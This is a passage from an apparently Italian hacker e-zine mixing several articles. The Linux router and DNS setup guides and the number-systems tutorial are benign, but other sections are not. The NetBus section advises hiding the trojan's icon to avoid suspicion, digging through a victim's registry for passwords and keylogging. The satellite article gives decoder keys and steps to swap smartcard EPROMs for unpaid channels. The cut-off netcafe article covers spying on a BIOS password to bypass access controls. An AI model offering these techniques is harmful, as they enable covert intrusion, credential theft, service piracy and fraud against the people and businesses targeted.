questo inconveniente? Risposta: creando noi stessi un programmino che crei nel registro del nostro amico tutti i settaggi necessari (vi ricordo che io sto usando la versione 2.0b e non so' se esistono altre versioni, quindi se il problema e' stato risolto fatemelo sapere). Vorrei molto darvi il codice del programma, lo stavo creando ma, per qualche motivo a me ignoto, quando scrivo #include <winreg.h> dopo la compilazione ho la modica cifra di 102 errori, sto' inkazzatissimo e spero di potervi fornire in seguito il codice. Prima di chiudere vorrei darvi gli ultimi consigli, avete presente l'icona del netbus server, vi suggerisco di toglierla usando ad esempio un tool come Borland Resource Workshop o simili, vi aiutera' molto a non destare sospetti, andate anche a spulciare il registro di winzoz per scovare qualche password e aprite sempre il "Keyboard listen" che puo' regalarvi molte sorprese, inoltre se credete che qualcuno sia nel vostro computer provate a nukare la porta 12345 se credete che l'intruso stia usando il Netbus 1.6-1.7 e la porta 20034 se credete che stia usando invece il Netbus 2.0, se proprio non smettono di farvi scherzi (o volete semplicemente verificare che qualcuno sia effettivamente sul vostro cp) provate ad avviare "netstat" dal prompt di dos (se avete winzoz bastera' scrivere netstat al prompt) e lui vi dira' tutte le porte a cui siete connessi, se vedete la porta 80 non vi preoccupate perche' e' quella e' del web, ma se vedete porte sospette nukatele e vi assicuro che tutti i guai termineranno. ;)))) Ciauzzzzzzz da Quequero P.S. Vorrei rignraziare la mia adorata Francesca che mi sopporta ormai da due anni, vorrei ringraziare anche Neural_Noise perche' e' sulla faccia della terra e +Malattia perche' e' sempre molto disponibile con me, ciauzzzzzz P.S.S Ringrazio e saluto anche Nobody88 che mi ha dato l'opportunita' di scrivere in questa e-zine (anche se se ne pentira' ;) P.S.S.S Se avete commenti da fare o volete mandarmi qualche bestemmia nuova e/o particolarmente coreografica oppure volete dirmi "Grazie Quequero mi hai aperto un mondo nuovo" (hehe magari ;) scrivete a [email protected] e tanto che ci siete visitate anche il mio sito http://quequero.cjb.net ariciauzzzzzz ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ BREVI SAGGI DI NETWORKING SOTTO LINUX ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Articolo redatto da Alpha-666 o Zeros Irc.tin.it #hackernow Articolo Nø1 Configurazione del router Linux In questo e nei prossimi articoli tratteremo come rendere un proprio computer Linux in un vero e proprio server per reti locali.Tramite un server Linux e' possibile far collegare contemporaneamente tutti gli utenti di una rete locale a Internet disponendo di un solo abbonamento a un ISP. A tal fine e' necessario che il sistema operativo Linux sia stato compilato con la funzione IP Masquerade abilitata'. In questo caso il server Linux funziona da gateway per la rete locale e nasconde all'esterno i computer interni. Dunque il Provaider vedra' solo il server Linux. Una rete che accede a Internet sfruttanndo la funzione IP Masquerade di un server Linux, se configurata correttamente, puo' avere una sicurezza superiore a quella di una rete protetta con firewall. I computer della rete locale possono essere dotati di sistemi operativi differenti ad esempio Windows 95, Windows NT, Mac, Linux e cosi' via. La procedura e' molto semplice: 1)Il server Linux server.retel si colleghi tramite il protocollo PPP a un ISP che assegna ai client un indirizzo IP dinamico; 2)I computer della rete locale abbiano indirizzi IP delle rete che non si collegano a Internet esempio: 192.168.1.10 server.retel 192.168.1.11 num1.retel 192.168.1.12 num2.retel 192.168.1.13 num3.retel 3)il server Linux server.retel sia anche configurato come DNS server per la rete locale, poi vedremo come in assenza di DNS interno sara' possibile utilizzare quello dell'ISP configurato adeguatamente come tutti i computer della rete interna. Configurazione del router Linux server.retel 1)Installare il software per ottenere la funzione IP Masquerading: rpm -ivh ipfwadm-2.3.0-6i386.rpm oppure specificando il percorso completo: rpm -ivh /mnt/cdrom/RedHat/RPMS/ipfwadm-2.3.0-6.i386.rpm 2)Modificare il file /etc/sysconfig/network per abilitare il server Linux a instradare i pacchetti IP (cioe' a eseguire il "forwarding" dei pacchetti) sostituendo la riga FORWARD_IPV4=false con : FORWARD_IPV4=true 3)Create un nuovo file /etc/ppp/ip-up.local e fate in modo che abbia gli stessi permessi del file /etc/ppp/ip-up. Per fare cio' basta fare eseguire il seguente comando: cp /etc/ppp/ip-up /etc/ppp/ip-up.local. Il file /etc/ppp/ip-up e' uno script che viene eseguito subito dopo l'attivazione dell'interfaccia PPP. Subito dopo di questo per default viene eseguito lo script /etc/ppp/ip-up.local il quale deve contenere esclusivamente le seguenti righe relative alle regole di instardamento, comunque se volete potete immetere in una shell i comandi ipfwadm riportati qui di seguito: #!/bin/bash ipfwadm -F -p deny ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0 che hanno il seguente significato idfwadm -F -p deny: -F e' il parametro per impostare le regole di instradamento -p e' il parametro per modificare le regole di instradamento deny si usa per impedire l'instardamento dei pacchetti ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0 e' una forma particolare di: ipfwadm -F -a m -S xxx.xxx.xxx.xxx/y -D 0.0.0.0/0 dove xxx.xxx.xxx.xxx e' l'IP della rete locale, mentre y assume il seguente valore in funzione del netmask: Netmask locale 255.0.0.0 255.255.0.0 255.255.255.0 255.255.255.255 X Tipo di collegamento fra router e computer della rete 8 18 24 32 Classe A Classe B Classe C Point-to-Point -F e' il parametro per impostare le regole di instradamento; -a serve per aggiungere nuove regole di instradamento alle precedenti impostate; -m chiede di attivare la funzione masquerade sui pacchetti da instradare, che appariranno come se fossero partiti dal server Linux anziche' dai computer della rete locale interna; -S serve per specificare la sorgente dei pacchetti da instradare verso l'esterno nella forma indirizzo rete locale/netmask, come specificato sopra xxx.xxx.xxx.xxx/y; -D si usa per specificare il destinatario dei pacchetti da installare. 0.0.0.0/0 si usa per indicare qualsiasi destinatario. ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TV HACKING E SATELLITE CRACKING ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Hello a tutti oggi mi sento molto scazzato cmq voglio introdurvi alla tematica del tv hacking e del satellite craking. Prima di iniziare prepongo che mi son documentato molto sull'argomento grazie soppratutto a vari gruppi americani: Dss , hybrid , acidline ,noiseSPeaKEr che secondo me posso essere considerati nell'elite della scena. Ringraziandoli metre leggeranno la mia squallida trad di questo articolo , ringrazio in particolare DssMaker E freeKev. Allora iniziamo col caro tv hacking esistono ovviamente dei cari prog che consentono la decodifica dei dati ovviamente cryptati. Bhe io mi son chiesto ma come cazz fate ad avere le info e la risposta ovviamente : "lavoriamo nell' ambiente o abbiamo dei manuali" [un poco me la aspettavo]. Bhe per quanto riguarda la documentazione ne trovate a terabyte veramente e anche i prog. Una bella ricerca su astalavista su tv hack , pay tv , satellite hobbist . Mha ora in particolare che cazz bisogna avere per il tv hacking bhe una cara scheda tv [io ho la tvwie99 non molto supportata ma cmq va bene, ps la mirovideo anche se costosa e' la migliore di tutte a mio modesto parere] . Questi decoder software si basano su standard di vari dipi di decriptazione in particolare i piu' famosi girano su des. Bha in particolare ho analizzato freetv un ottimo decoder che emula il nagravision . Bhe ora fin qui tutti dirano : mitico!!! . Bhe non direi inanzitutto per usarli ci voglino delle key che son fatte per accedere a determinati canali o solo x le freq dei canali stessi , bhe io sinceramente di quelle che ho provato ho notato solo lo schifo che fanno e quindi mano alla documentazione me ne son fatta una tutta mia x decodificare la banda di canali tedeschi , ps [non tutti ma molti] bhe copia/incolla: 11 12 13 16 17 18 19 13 14 15 16 0 1 2 3 21 22 23 24 18 19 20 21 23 24 25 26 26 27 28 29 19 20 21 22 11 12 13 14 28 29 30 31 4 5 6 7 22 23 24 25 5 6 7 8 31 0 1 2 27 28 29 30 3 4 5 6 8 9 10 11 14 15 16 17 25 26 27 28 15 16 17 18 7 8 9 10 17 18 19 20 29 30 31 0 24 25 26 27 20 21 22 23 1 2 3 4 6 7 8 9 12 13 14 15 9 10 11 12 2 3 4 5 30 31 0 1 24 25 26 27 2 3 4 5 31 0 1 2 7 8 9 10 13 14 15 16 26 27 28 29 14 15 16 17 18 19 20 21 22 23 24 25 5 6 7 8 19 20 21 22 12 13 14 15 17 18 19 20 27 28 29 30 10 11 12 13 11 12 13 14 6 7 8 9 1 2 3 4 0 1 2 3 4 5 6 7 3 4 5 6 8 9 10 11 15 16 17 18 23 24 25 26 29 30 31 0 25 26 27 28 9 10 11 12 21 22 23 24 20 21 22 23 30 31 0 1 16 17 18 19 28 29 30 31 questi li dovete mettere in un file che denominerete key.ini standard x molti prog ... E ora puttana eva passiamo al satellitare , premetto che lo ho da poco ma nel giro di due giorni mi son messo canal plus , palco e molto altro ovviamente a scrocco. Bhe allora ovviamente i decryptatori funzano solo alcuni e per alcuni canali che dal vostro caro televisore vedrete neri. Bhe ma poi ci son quelli a pagamento . Bhe li e' un rischio usarli ovviamente perche' dovrete modificare l'eprom della vostra cara smartcard [o se ve ne fate arrrivare una tradata fate prima cmq mi occupero' del primo metodo] . Allora prima di tutto collegate il vostro decoder al pc Seriale decoder [com] ------------[com] pc Anche qui esistono una infinita'di programmini serissimi per ogni evenienza cmq : primo passo : copia eprom originale su hd secondo passo: staccate il modem del decoder dalla presa telefono [non volete mica far sapere a tutti quando lo usate che avete una smart diversa [ps il modem se lo fate lo dovete staccare per sempre [quello del decoder intendo]] . terzo passo : bhe recuperatevi dai vostri infiniti trade una eprom diversa con funzioni diverse . quarto passo : [sempre se il primo e il terzo li avete fatti decentemente] accendete la vostra cara tv e diventate teledipendenti Bha cmq a me interessava avere un accesso satellitare a internet che come freq in downlink e'di 400kb/s fissi e quindi mi son informato : esistono vari tipi di schede come la mitica direcpc [www.direcpc.com] che permettono tutto cio' [in america a prezzi molto ragionevoli , in Italia lascio a voi indovinare] . Bhe allora esiste uno dice mi compro la scheda e mi pago sti soldazzi x ricevere o senno' seconda ipotesi uno dice mi compro la scheda e mi sfrutto il mio caro abbo prova ... epoi? Bhe in Italia Flashnet e'il fornitore di servizi di questo tipo [insieme ad un'altra agenzia veneta a quanto so' io] che si collega direttamente a un centro in germania che poi trasferisce la richiesta in America [Washington x la precisione] > bhe e se io non volessi far tutto sto giro? . Allora il caro provider [O meglio i cari provider ] che offrono il servizio sono AOL [america on line ] e due provider minori consociati e direcpc che e' anche lui provider . Bhe io non dico nulla ma penso e credo fermamente che [tra l' altro AOL utilizza normali account utenti] le possibilita' di tutto cio' [ un account li lo ha pure mio nonno ]. Considerazioni finali: Allora non voglio nessun rompicoglioni che mi chieda un account , che mi chieda di sendargli un programma di cui ho parlato o che mi chieda di regalargli un eprom . Accetto volentieri persone che gia' se ne intendono dell' argomento per cercare di chiarirci insieme le idee , che se ne intendano di internet via satellite] e magari qualcuno che mi spieghi riguardo skyweb dove cazz si possono recuperare le sorgenti che non ho la scheda scatfast... ZeroCool Provoces the best you will die like a slave ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ BREVI SAGGI DI NETWORKING SOTTO LINUX ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Articolo redatto da Alpha-666 o Zeros Irc.tin.it #hackernow Articolo Nø2 Configurazione del DNS server. Per risolvere gli indirizzi IP di una rete TCP/IP si usa il file /etc/host, il sistema DNS o entrambi i metodi. Qui di seguito vedremo come configurare il server Linux come nemeserver per fornire il servizio DNS agli utenti della rete locale. Per poter far cio' e' necessario osservare i punti che seguono: 1)Avere installato il protocollo TCP/IP; 2)Aver installato Linux come DNS server; 3)Configurare il file /etc/resolv.conf, verificare il file /etc/host.conf; 4)Configurare il file /etc/name.boot, il principale file di configurazione del deamon named che gestisce il DNS-server. Il deamon named che viene eseguito all'avvio del sistema e rimane in continua attesa di richieste da parte dei client sulla porta 53. Questo file comprende l'elenco dei file contenenti le informazioni di zona, cioe' file che servono per risolvere un nome nel rispettivo indirizzo IP per un dominio, e l'elenco di altri nameserver; 5)Configurare il file della cache /var/named/named.ca, cioe' il file che contiene gli indirizzi IP dei nameserver di root del sistema DNS, cioe' di quei computer, sparsi nel mondo, che conoscono gli indirizzi IP dei nameserver di primo livello (cioe' dei domini .com .net .org .it .gov .mil ecc). Qualora il nostro nameserver non sia in grado di risolvere un indirizzo IP con i suoi file di zona inoltra la richiesta direttamente a un nameserver di root; 6)Configurare il file contenenti le informazioni delle zone. ** NB:Per verificare che Linux sia stato installato come DNS server avvaletevi del Package Management del Pannello di controlo, e assicuratevi che sia installato il file /networking/caching-nameserver1.1-4 , il cui programma principale e' named. Nel caso mancasse installatelo. ** Vogliamo configurare il computer server.retel di una rete composta dai seguenti computer: 192.168.1.10 192.168.1.11 192.168.1.12 192.168.1.13 server.retel num1.retel num1 num2.retel num2 num3.retel num3 server i file di server.retel devono essere modificati come segue: /etc/resolv.conf In questo file c'e' il nome del dominio in cui si deve cercare i computer della rete e l'elenco dei nameserver. Se il computer stesso e' il nameserver (come nel nostro caso). /etc/resolv.conf deve contenere l'indirizzo 127.0.0.1. Quindi il file risultera' cosi': search server nameserver 127.0.0.0 /etc/host.conf order host,bind multi on /etc/named.boot ; ; directory /var/named cache . named.ca primary retel named.retel primary 0.0.127.in-addr.arpa named.local primary 1.168.192.in-addr.arpa named.rev Dove: 1)la prima riga specifica la directory che contiene gli altri file di configurazione di named; 2)la seconda riga indica il file utilizzato come cache e' named.ca. Tale file inizializza la cache del deamon named con l'elenco dei nameserver del dominio root (e si indica con un punto); 3)la riga che comincia con primary retel indica che il file contiene le informazioni della zona (o dominio) retel e' named.retel; questo file e' usato del deamon named per risolvere gli indirizzi IP del dominio retel; 4)primary 0.0.127.in-addr.arpa specifica il file named.local come reverse address della rete 127.0.0 (in pratica risolve 127.0.0.1 in localhost); 5)la riga che inizia con primary 1.168.192.in-addr.arpa specifica il file named.rev come reverse della rete 192.168.1 (in pratica risolve gli indirizzi IP in nomi); ** NB: Il nostro nameserver risolve gli indirizzi IP tramite i propri file named.retel o named.ca, qualora i tentativi falliscano la possibilita' di risolvere gli IP tramite altri nameserver, ad esempio tramite i nameserver di un ISP, per tale scopo e' necessario aggiungere al file /etc/named.boot una riga simile a questa: forwarders IP_nameserver_ISP_1 IP_nameserver_ISP_2 IP_namserver_ISP_1 e 2 sono gli indirizzi IP del DNS primario e secondario dell'ISP. /var/named/named.ca Questo file puo' essere lasciato cosi' come installato da Linux. /var/named/named.retel E' un nuovo file che deve essre creato dall'utente, esso contiene gli indirizzi IP e il nome del computer della vostra rete. Fate in modo che contenga quanto segue: @ IN SOA server.retel root.server.retel. ( 1 ;Serial 86400 ;Refresch: ogni giorno 3600 ;Retry: ogni ora 3600000 ;Expire: 42 giorni 86400 ) ;Minimum 1 settimana IN NS server1.retel. localhost. IN A 127.0.0.1 server IN A 192.168.1.10 num1 IN A 192.168.1.11 num2 IN A 192.168.1.12 num3 IN A 192.168.1.13 /var/named/named.local @ IN SOA giorno giorni settimana 1 server.retel. 1 86400 ( ;Serial ;Refresch: ogni 3600 3600000 ;Retry: ogni ora ;Expire: 42 86400 IN IN NS PTR ) ;Minimum 1 server1.retel. localhost. /var/named/named.rev @ IN root.server.retel. ( SOA giorno giorni settimana 10 11 12 13 server.retel 1 86400 ;Serial ;Refresch: ogni 3600 3600000 ;Retry: ogni ora ;Expire: 42 86400 IN IN IN IN IN NS PTR PTR PTR PTR ) ;Minimum 1 server1.retel. server.retel. num1.retel. num2.retel. num3.retel. dove 10.11.12.13 sono i numeri dei computer della rete ciaoe' 192.168.1.[10]. Note: @ indica l'origine del dominio con riferimento alla riga corrispondente a questo file contenuta in /etc/named.boot SOA significa Start Of Authority (inizio della configurazione della zona di autorita') IN indica che il tipo di indirizzamento utilizzato e' relativo alla classe IP NS nameserver A e' il codice che precede un indirizzo l'IP PTR codice da utilizzare nelle righe che contraddistinguono il reverse address, e si usa nei file del dominio in-addr.arpa Dopo aver fatto tutto cio' dobbiamo eseguire il boot (riavviare) oppure eliminando (kill) il processo named ed rieseguirlo per attivare i cambiamenti. 1)Digitare il comando ps ax|grep named e premete invio. 2) Vedrete: 605 ? 10568 10 S S 0:00 0:00 named grep named 3) Kill 605 e invio 4) named e invio e ora per verificare il corretto funzionamento: 1)digitate in una shell di comando nslookup 2)Al prompt > digitate il nome di un computer della vostra rete, esempio num2 (o l'indirizzo IP) e premete invio. Se otterrete tutti i dati del computer (Name:num2.retel - Address:192.168.1.12) significa che il named funziona correttamente. ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE) ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve a tutti sono sempre Quequero, in questo articolo parleremo dei vari sistemi di numerazione che sono molto utilizzati nei linguaggi di programmazione e ci serviranno per comprendere molte cose. Iniziero' col parlare del sistema decimale che tutti conosciamo e che utilizziamo ogni di'. Questo sistema viene detto "decimale" perche' utilizza le potenza di...dieci, per farvi capire cosa intendo ecco un esempio alquanto banale, proviamo a scomporre il numero 1258: 1258 = 1x10^3 + 2x10^2 + 5x10^1 + 8x10^0 Per verificare se abbiamo fatto bene la scomposizione proviamo a moltplicare ogni valore per la sua potenza di 10 e poi lo sommiamo agli altri: 1x10^3 2x10^2 5x10^1 8x10^0 = = = = 1000 + 200 + 50 + 8 = ----------1258 sembra che il risultato sia esatto, cio' vuol dire che siamo stati bravi ;)) Bene bene, questo e' stato solo un ripasso per introdurre il sistema di numerazione binario, cioe' quello usato dai nostri processori e comunque anche da qualunque componente elettronico, (calcolatrici, orologi digitali, radio, gps, modem, stereo ecc...) spero che vi siate chiesti almeno una volta come fa il computer ad aprire una finestra oppure una calcolatrice ad eseguire un calcolo "2-1", ebbene tutti i processori riescono a capire la differenza tra due stati di tensione cioe': 0 (potenziale basso) e 1 (potenziale alto), ecco l'importanza di questo sistema, ma come possiamo convertire un numero binario in decimale? Dal momento che conosciamo tutti i numeri binari (1 e 0 :) creiamo un numerino e convertiamolo, prendiamo per esempio questo: 11001011 = 1x2^7 + 1x2^6 + 0x2^5 + 0x2^4 + 1x2^3 + 0x2^2 + 1x2^1+ 1x2^0 1x2^7 1x2^6 0x2^5 0x2^4 1x2^3 0x2^2 1x2^1 1x2^0 = = = = = = = = 128 + 64 + 0 + 0 + 8 + 0 + 2 + 1 = ---------203 \ / \ / | ---- numeri binari convertiti in | decimali e sommati tra loro | Il risultato 203 e' esatto? Verifichiamolo.....ma come possiamo farlo se finora abbiamo imparato solo a scomporre un numero in potenze di dieci e a convertire un binario in decimale? Bhe' semplice dovete riaprire i libri di matematica, ma non vi preoccupate perche' Quequero lo fara' per voi ;)) Ecco come si fa': ----------------- ¦ Numero decimale ¦ ----------------¦¦ ¦¦ Dividiamo per 2 <---¦ ¦¦ ¦ ---------------------¦ ¦ Il quoziente e' pari? ¦ ¦ ---------------------¦ ¦¦ ¦ ¦¦ ¦ SI / \ NO ¦ / \ ¦ ------------¦ / \ ¦ ------------------------¦ ¦ Scriviamo 0 ¦ ¦ Scriviamo 1 ¦ ¦ ------------------------¦ \ / ¦ \------------------/ ¦ ¦¦ ¦ ¦¦ ¦ --------------------¦ ¦ Il numero e' finito? ¦ ¦ --------------------¦ ¦¦ ¦ ¦¦ ¦ SI / \ NO ¦ / \ ¦ ------------¦ / \ ¦ ---------------------------¦ ¦ Prendi tutte le ¦ ¦ Continua ¦ ----¦ cifre e ribaltale ¦ ---------------------------Bello il logaritmo vero? Spero di si, proviamo a vedere se 203 corrisponde realmente a 11001011, per farlo usiamo la colonnina che tanto odiavamo alle elementari: 203| 101|1 51|1 25|0 12|1 6|0 3|0 1|1 0|1 dall'alto al basso vediamo questi numeri 11010011 ma, come vi dicevo, dobbiamo ribaltarli cosi' avremo 11001011....esatto i numeri corrispondono!!!! Ovviamente non andrete mai a convertire i numri a manualmente visto che anche la calcolatrice di winzoz lo fa (dovete selezionare visualizza|scientifica) comunque un po' di cultura non guasta mai ;))) facciamo il resoconto di cio' che abbiamo appreso finora: Scomposizione di un numero decimale e conversione da: Binario--->Decimale--->Binario Affrontiamo ora il tipo di numerazione piu' importante cioe' quello esadecimale, (o base 16) questo tipo di numerazione differisce dalla decimale perche' ci sono 16 numeri invece che i soliti 0 1 2 3 4 5 6 7 8 9 e dalla binaria perche' ogni numero in base 16 equivale a 4 in base 2, siccome avrete le idee confuse ecco una tabella riassuntiva (la metto in verticale altrimenti non entra nel mio monitor da 14'') Decimale 0 1 2 3 Binario 0000 0001 0010 0011 Esadecimale 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 4 5 6 7 8 9 A B C D E F Come facciamo a convertire un numero binario in esadecimale e viceversa? In base 16 le conversioni sono semplicissime dal momento che ogni numero esadecimale equivale a 4 binari quindi supponiamo di avere 8F5DA come fa' a diventare binario? Eccovi un altro esempio: 8 F 5 D A = = = = = 1000 1111 0101 1101 1010 Possiamo dire che 8F5DA = 10001111010111011010. Vogliamo fare la solita verifica per vedere se abbiamo fatto tutti i calcoli bene? Credo di si, la domanda sorge ormai spontanea...come si fa'? Si divide il numero binario in gruppi di 4 cifre (a partire dalla meno significativa che e' l'ultima, la piu' significativa e' la prima) e se vede man mano a cosa corrisponde: 1010 1101 0101 1111 1000 A D 5 F 8 facciamo un po' di "reversing" sul numero ottenuto ed otteniamo come sospettato 8F5DA. Questo tipo di conversione "veloce" vale solo per il sistema Base2->Base16->Base2 Per fare i calcoli da Base16 a Base10 e vice versa le operazioni sono le stesse che abbiamo usato durante le conversioni Base2->Base10->Base2, ovviamente i sistemi di numerazione sono infiniti, un sistema caduto ormai nell'oblio e' stato quello in Base8 (ottale) ma possiamo convertire qualunque cosa in qualunque base, pensate che qualche settimana fa' ho fatto un CrackMe che calcolava il seriale da inserire in base 78, in numerazioni di questo genere ci sono sicuramente tutte le lettere dell'alfabeto e vengono usati anche simboletti sconosciuti alla razza umana, una cosa bella di questi sistemi e' che un numero come 1000000000000000000000000000000000000000 diventa cortissimo e magari simile a questo: ~1«½¦© ;)))) Prima di concludere anche questo articolo vorrei dirvi che non ho parlato volutamente della rappresentazione dei numeri negativi in base2 visto che utilizzano un particolare metodo detto "complemento a 2" estremamente difficile, se mi verra' chiesto scrivero' un articolo anche su questo ma vi assicuro che verrebbe estremamente lungo, ma lungo lungo lungo ;))) Ora voi vi starete chiedendo "Ma che cazz ce ne frega di conoscere come contano i calcolatori", in realta' l'argomento e' importante dal momento che un compilatore un linguaggio ad alto livello (quale puo' essere il c/c++ o il Pascal ecc...) una volta compilato non fa' altro che convertire tutto in Assembly che a sua volta converte tutto in esadecimale e che il processore converte in linguaggio macchina cioe' 10110101011 in codice binario. Ultima raccomandazione: se incontrate qualcosa del tipo 1512h e non sapete cosa cavolo sia (base8, 18 o 48) dovrete guardare in fondo, vedete quell'h? Quella indica che il numero si trova in base 16, eccovi l'ultima tabella: b o d h = = = = Binario Ottale Decimale Esadecimale quindi se smanettate con l'Assembly e dovete andare all'offset 00018F5Ah non domandatevi "come kazz si fa' ad avere un offset a 9 cifre" ma ricordate che l'ultima lettera minuscola vi indica sempre la base. Ora che siete dei matematici divertitevi (io odio la matematica) ;))))) Ciauzzzzzzzz Quequero P.S. Per commenti positivi scrivetemi a [email protected], quelli negativi ve li potete pure tenere ;) e tanto che state qui andate anche a visitare http://quequero.cjb.net ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ NAVIGHIAMO AL NETCAFE' IN ALLEGRIA ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ PRECISAZIONI inizio col chiarire che questa guida e' un po il completamento di quello scritto su bfi infatti vi consiglio inanzitutto di andarvi a leggere l'articolo su bfi3 " divertirsi al cybercaffe' " di [goku] purtroppo le mie conoscenze sono limitate quindi vi prego di essere clementi ALLEGATI ci dovrebbe essere allegato a questo numero di NewBies , il programma per la gestione delle schede CManager di cui parlo verso la fine di questo articolo E' mooooooooooooolto semplice da usare , logicamente questo e' usato solo da alcuni " miei " netcafe' pero' penso possa interessare qualcuno ACCUMNZAMMO poter usare un account non vostro e da un numero di telefono diverso di quello di casa credo garantisca una totale anonimita' : la cosa piu' importante per hackare sicuri I sistemi di protezione usati dai gestori di questi locali sono molti e diversi, in quest'articolo ci occuperemo solo del tipo di protezione - caccio mone - mi danno la tessera cartacea - digito al programma di windzoz user e pass - posso accedere alla rete bene , iniziamo col guardare delle cose importanti sulla macchina da fregare, vediamo se e' possibile accedere al drive floppy ,di che tipo di connessione si tratta (la maggior parte ISDN collegati a un computer server) e cosa + importante il tipo di programma , non e' sempre infatti sara' possibile hackarlo ecco presentati gli strataggemmi che conosco : 1 fotti password del bios 2 cerca bugs nel programma 3 inserisci passwords a random 1 bene per sfruttare questo "exploit" e' necessario far crashare windzoz o riavviare manualmente il computer fingendosi dei totali ingoranti informatici, richiamare l'attenzione dell "amministratore" di rete (che a volte e' lo stesso barista :) , fargli digitare la magica parolina nel bios e spiarlo mentre fa quest'operazione una volta fatto cio' basta riavviare di nuovo il computer accertandovi che nessuno vi stia osservando , digitare la pass e prima del caricamento di windzoz digitare F8 in modo che venga caricato il menu che vi chiede cosa avviare : 